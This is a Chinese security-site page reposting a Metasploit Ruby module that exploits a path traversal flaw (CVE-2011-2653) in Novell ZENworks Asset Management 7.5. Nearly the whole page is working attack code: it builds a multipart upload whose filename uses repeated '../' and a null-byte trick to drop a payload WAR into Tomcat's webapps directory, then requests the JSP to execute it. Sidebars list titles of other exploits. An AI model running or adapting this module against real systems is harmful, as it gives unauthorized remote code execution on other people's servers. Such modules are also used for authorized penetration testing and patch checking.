首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Novell ZENworks Asset Management Remote Execution
来源:http://www.metasploit.com 作者:juan 发布时间:2012-08-14  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Novell ZENworks Asset Management Remote Execution',
			'Description' => %q{
					This module exploits a path traversal flaw in Novell ZENworks Asset Management
				7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file
				outside of the MalibuUploadDirectory and then make a secondary request that allows
				for arbitrary code execution.
			},
			'Author'         =>
				[
					'Unknown', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'CVE', '2011-2653' ],
					[ 'OSVDB', '77583' ],
					[ 'BID', '50966' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-342/' ],
					[ 'URL', 'http://download.novell.com/Download?buildid=hPvHtXeNmCU~' ]
				],
			'Privileged'  => true,
			'Platform'    => [ 'java' ],
			'Targets'     =>
				[
					[ 'Java Universal',
						{
							'Arch' => ARCH_JAVA,
							'Platform' => 'java'
						},
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 02 2011'))

		register_options(
			[
				Opt::RPORT(8080),
				OptInt.new('DEPTH', [true, 'Traversal depth to reach the Tomcat webapps dir', 3])
			], self.class )
	end

	def exploit

		# Generate the WAR containing the payload
		app_base = rand_text_alphanumeric(4+rand(32-4))
		jsp_name = rand_text_alphanumeric(8+rand(8))
		war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s

		uid  = rand_text_alphanumeric(34).to_s

		data =  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"RequestParms\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"rtyp\"\r\n\r\n"
		data << "prod\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"sess\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"mode\"\r\n\r\n"
		data << "newreport\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"dp\"\r\n\r\n"
		data << "n\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"oldentry\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
		data << "malibu.StartImportPAC\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"saveact\"\r\n\r\n"
		data << "malibu.StartImportPAC\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"isalert\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"queryid\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"Locale\"\r\n\r\n"
		data << "MM/dd/yyyy\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"CurrencySym\"\r\n\r\n"
		data << "$\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"CurrencyPos\"\r\n\r\n"
		data << "start\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"ThousandsSep\"\r\n\r\n"
		data << ",\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"CurDecimalPt\"\r\n\r\n"
		data << ".\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"MinusSign\"\r\n\r\n"
		data << "-\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"sum\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"grp\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"col\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"PreLoadRight\"\r\n\r\n"
		data << "yes\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"/#{"../" * datastore['DEPTH']}#{app_base}.war\x00.txt\"\r\n"
		data << "Content-Type: application/octet-stream\r\n\r\n"
		data << war_data
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"SuccessPage\"\r\n\r\n"
		data << "Html/UploadSuccess.html\r\n"
		data <<  "------#{uid}--\r\n"

		res = send_request_cgi(
			{
				'uri'    => "/rtrlet/catch",
				'method' => 'POST',
				'ctype'   => "multipart/form-data; boundary=----#{uid}",
				'data'    => data,
			})

		print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

		select(nil, nil, nil, 10)

		if (res.code == 500)
			print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
				send_request_raw(
					{
						'uri'    => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
						'method' => 'GET',
					})
		else
			print_error("WAR upload failed...")
		end

	end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Cyclope Employee Surveillance
·DivX Plus Player plugin 2.2.0.
·TestLink 1.9.3 Arbitrary File
·Windows Service Trusted Path P
·OS X Local Root Exploit for Vi
·globalSCAPE CuteZIP Stack Buff
·Winamp Browser Memory Corrupti
·E-Mail Security Virtual Applia
·Pure-FTPd v1.0.21 (centos 6.2,
·AOL Products downloadUpdater2
·Spytech NetVizor v6.1 (service
·Mozilla Firefox 14.01 Memory E
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved